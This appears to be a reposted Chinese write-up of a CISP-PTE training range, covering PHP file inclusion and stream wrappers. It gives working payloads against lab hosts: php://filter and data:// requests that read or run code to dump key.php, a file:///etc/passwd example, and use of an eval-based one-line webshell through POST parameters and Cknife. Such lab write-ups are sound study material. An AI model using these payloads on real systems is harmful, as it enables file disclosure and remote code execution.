cisp-pte靶場通關思路分享----文件包含篇


文件包含漏洞利用的前提:

  1. web 應用采用 include 等文件包含函數,並且需要包含的文件路徑是通過用戶傳輸參數的方式引入;
  2. 用戶能夠控制包含文件的參數,被包含的文件可被當前頁面訪問。

偽協議文件包含:

  • file:// 訪問本地文件系統
  • http(s):// 訪問 HTTPs 網址
  • ftp:// 訪問 ftp URL
  • php:// 訪問輸入/輸出流
  • Zlib:// 壓縮流
  • Data:// 數據
  • Ssh2:// security shell2
  • Expect:// 處理交互式的流
  • Glob:// 查找匹配的文件路徑
  • phar:// PHP歸檔
  • rar:// RAR
  • ogg:// 音頻流

常用偽協議講解:

1. file://

(1)這個協議可以展現本地文件系統,默認目錄是當前的工作目錄。

(2)例如:file:///etc/passwd、file://key.txt

2. php://

(1) php://input是個可以訪問請求的原始數據的只讀流,可以訪問請求的原始數據的只讀流,將post請求中的數據作為php代碼執行。

(2) php://filter是一種元封裝器,設計用於數據流打開時的篩選過濾應用。

 

 

3、phar://

(1)phar://數據流包裝器自PHP5.3.0起開始有效

(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt

phar://1.zip/phpinfo.txt

偽協議利用方式小總結:

 

 

 

 

 

靶場一:

文件包含在這個靶場里主要考察偽協議:想了解更多的自行問度娘,這里只說解題思路。

 構造payload

http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php或者

http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php

解密即可拿到key。

 

 

還有date協議在這里也可以用: 

data:text/plain,<?php system(whoami)?>

構造payload:

http://192.168.43.99:8083/vulnerabilities/fu1.php?file=data:text/plain,%3C?php%20system(%27cat%20../key.php%27)?%3E


靶場二:

 

查看view.html源碼可知是里面的參數

W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=解密為

[@eval(base64_decode($_POST[z0]));]一個一句話木馬

 

有兩種解題的思路:一種直接連接這個一句話木馬,只能用Cknife,還有一種直接傳參讀文件。

解法一:

修改config.ini文件為:

ACTION=z0PHP_MAKE=http://192.168.43.72:83/start/index.php?file=view.html

密碼Hello=0

 

 

 

 

 

解法二: 

首先把這串字符串通過base64解碼可得[@eval(base64_decode($_POST[z0]));]

發現POST參數decode后用eval函數執行,所以構造payload:Hello=123&z0=system('cat ../key.php');
再進行base64加密最后:Hello=123&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
獲取key:

 

 

 

 

至此文件包含的兩套靶場就成功拿下來,確實學到了很多知識。 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM